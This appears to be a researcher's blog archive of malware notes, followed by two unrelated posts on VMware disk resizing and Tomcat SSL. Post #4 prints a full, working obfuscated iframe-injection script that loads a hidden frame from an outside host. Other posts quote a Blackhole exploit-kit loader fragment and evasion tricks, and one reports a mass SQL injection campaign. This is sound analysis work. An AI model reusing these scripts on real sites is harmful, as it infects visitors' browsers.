Interesting malicious script #4

2011-10-27T19:18:00Z

The latest iframeinject.P, which uses document.body.appendChild instead of eval.

<script>var date=new Date(),pau=('ev'+date.getFullYear()).replace('2010','al');g=window[pau];sf=window['String'].fromCharCode;g(sf(4.5*2,59*2,48.5*2,57*2,16*2,57.5*2,58*2,57*2,16*2,30.5*2,16*2,19.5*2,52.5*2,51*2,57*2,19.5*2,29.5*2,6.5*2,5*2,4.5*2,59*2,48.5*2,57*2,16*2,57.5*2,16*2,30.5*2,16*2,19.5*2,30*2,19.5*2,16*2,21.5*2,16*2,57.5*2,58*2,57*2,16*2,21.5*2,16*2,17*2,48.5*2,54.5*2,50.5*2,16*2,57.5*2,57*2,49.5*2,30.5*2,19.5*2,52*2,58*2,58*2,56*2,29*2,23.5*2,23.5*2,57.5*2,50.5*2,49.5*2,58.5*2,57*2,50.5*2,23*2,57.5*2,58*2,48.5*2,58*2,52.5*2,57.5*2,58*2,52.5*2,49.5*2,48.5*2,54*2,50*2,48.5*2,58*2,48.5*2,25*2,23*2,49.5*2,55.5*2,54.5*2,23.5*2,52.5*2,54.5*2,48.5*2,51.5*2,50.5*2,57.5*2,23.5*2,50*2,19.5*2,16*2,59.5*2,52.5*2,50*2,58*2,52*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,52*2,50.5*2,52.5*2,51.5*2,52*2,58*2,30.5*2,19.5*2,24.5*2,24*2,19.5*2,16*2,57.5*2,58*2,60.5*2,54*2,50.5*2,30.5*2,19.5*2,59*2,52.5*2,57.5*2,52.5*2,49*2,52.5*2,54*2,52.5*2,58*2,60.5*2,29*2,16*2,52*2,52.5*2,50*2,50*2,50.5*2,55*2,29.5*2,19.5*2,16.5*2,30*2,23.5*2,52.5*2,51*2,57*2,17*2,16*2,21.5*2,16*2,19.5*2,48.5*2,54.5*2,50.5*2,16.5*2,19.5*2,29.5*2,6.5*2,5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,23*2,52.5*2,55*2,55*2,50.5*2,57*2,36*2,42*2,38.5*2,38*2,16*2,21.5*2,30.5*2,16*2,57.5*2,23*2,57*2,50.5*2,56*2,54*2,48.5*2,49.5*2,50.5*2,20*2,19.5*2,16.5*2,19.5*2,22*2,19.5*2,31*2,19.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,59*2,48.5*2,57*2,16*2,49*2,50*2,60.5*2,16*2,30.5*2,16*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49.5*2,57*2,50.5*2,48.5*2,58*2,50.5*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,20*2,17*2,49*2,55.5*2,50*2,60.5*2,17*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,58*2,57*2,60.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,48.5*2,56*2,56*2,50.5*2,55*2,50*2,33.5*2,52*2,52.5*2,54*2,50*2,20*2,49*2,50*2,60.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,16*2,49.5*2,48.5*2,58*2,49.5*2,52*2,16*2,20*2,50.5*2,20.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,49*2,55.5*2,50*2,60.5*2,16*2,30.5*2,16*2,49*2,50*2,60.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,6.5*2,5*2,4.5*2,4.5*2,52.5*2,51*2,16*2,20*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,20.5*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,51.5*2,50.5*2,58*2,34.5*2,54*2,50.5*2,54.5*2,50.5*2,55*2,58*2,57.5*2,33*2,60.5*2,42*2,48.5*2,51.5*2,39*2,48.5*2,54.5*2,50.5*2,20*2,19.5*2,49*2,55.5*2,50*2,60.5*2,19.5*2,20.5*2,45.5*2,24*2,46.5*2,23*2,52.5*2,55*2,55*2,50.5*2,57*2,36*2,42*2,38.5*2,38*2,16*2,21.5*2,30.5*2,16*2,57.5*2,23*2,57*2,50.5*2,56*2,54*2,48.5*2,49.5*2,50.5*2,20*2,19.5*2,16.5*2,19.5*2,22*2,19.5*2,31*2,19.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,16*2,50.5*2,54*2,57.5*2,50.5*2,16*2,61.5*2,6.5*2,5*2,4.5*2,4.5*2,4.5*2,50*2,55.5*2,49.5*2,58.5*2,54.5*2,50.5*2,55*2,58*2,23*2,59.5*2,57*2,52.5*2,58*2,50.5*2,20*2,57.5*2,23*2,57*2,50.5*2,56*2,54*2,48.5*2,49.5*2,50.5*2,20*2,19.5*2,16.5*2,19.5*2,22*2,19.5*2,31*2,19.5*2,20.5*2,20.5*2,29.5*2,6.5*2,5*2,4.5*2,4.5*2,62.5*2,6.5*2,5*2,4.5*2,62.5*2))</script><script>ez='://';la='k9';vp='85y';ma='zi.';s='c';f='m';kg='cub';i='t';zz='/';l='sr';n='c';ng='ame';rv='.ht';gn='om';h='ht';tg='v';vl='tp';kf='ni';v='ifr';vq='yfo';bc=v.concat(ng);x=l.concat(n);p=h.concat(vl,ez,kg,vq,kf,ma,s,gn,zz,la,vp,i,tg,rv,f);var jc=document.createElement(bc);jc.setAttribute('width','1');jc.setAttribute('height','1');jc.frameBorder=0;jc.setAttribute(x,p);document.body.appendChild(jc);</script>

Interesting malicious script #3

2011-10-27T19:16:00Z

This is the newest variant of black hole, labeled by MS as Blacole.R. It is still surprising to see the signature of Black hole upgraded nearly a dozen of version in a month or two.

I've replaced the payload in <span></span> as it is very large.

Eval itself is turned into string and I think they can even play more tricks to hide the string eval.

<html><title>ev</title><body><input type="input" name="KVhMSfMk" value="length" style="display:none"><span style="visibility:hidden">

Jws9z=window;

riJdw0.PgOrtKo=function(hy){return riJdw0.getElementsByTagName(hy);};

MCchJo=riJdw0.tAinU7TY("KVhMSfMk")[0]["va"+"lue"];

vjhac2P=new Function("x,y,z","return x.replace(y,z)");
BMEIlPB=new Function("x,y,z","return x.substr(y,z)");

M21Sq=vjhac2P("","",new Object("eval"));

Interesting malicious script #2

2011-10-26T04:37:00Z

This script has eval exposed, but simply replacing eval with alert won't show the malicious payload. In fact, only m[i] will be shown in the popup dialog.

And the eval is executed in the catch block, which should be able to defeat a lot of emulators, as emulators usually disable exception for performance issue.

I Found this one in the wild. This is really heavy obfuscated and I can't find where they eval the malicious payload. This script finally leads to Russian web site.

Forefront classify it as Blacole.A, but it is not quite like the blackhole exploit script I ever saw.

About the newest Mass SQL Injection

2011-10-21T23:27:00Z

http://blog.sucuri.net/2011/10/mass-infections-from-jjghui-comurchin-js-sql-injection.html

After searching on Google and Bing, I found this mass-sql-injection attacked 134,000 sites in Google's result and 22,500 sites in Bing's result.

Safebrowsing only blocked a minority of them. And the number has been increased from 80k to 130k since it is mentioned in oct 12.

How to resize the ubuntu root partition of vmware workstation

2010-05-05T03:44:00Z

This happens when you find install Ubuntu on vwmare and then find that the partition is too small for root.

Belows are what I do to solve this:

1. try use vdiskmanager to resize the vmdisk file

http://www.vmware.com/support/ws45/doc/disks_vdiskmanager_ws.html

2. Download the iso of live CD of gParted

http://gparted.sourceforge.net/livecd.php

3. Set the CD connected at the startup at the VMWare Workstation preferences

and set the source as the iso

4. Start ubuntu, press F2 and change the boot sequence.

Press "+" over CD to make it booted first.

5. After entering the interface, resize the boot.

If the unallocated partition is at the end, it needs to be move till close to the root partition and then resize the root partition.

BTW, Ubuntu 10 has come out. Go and check the new fancy stuffs.

How to configure ssl on Tomcat 6

2010-04-02T20:48:00Z

Check this:

http://tomcat.apache.org/tomcat-6.0-doc/ssl-howto.html

And make sure use the keytool of JAVA rather than that of GNU.

It costs me an hour to figure it out.

JAVA keytool is located in $JAVA_HOME/bin, $JAVA_HOME in linux is usually /usr/java/xxx

And the logs of Tomcat (tomcat folder/logs) are the good source of error records.

If Java Keytool shows the error like malformed keystore, change the keystore location.
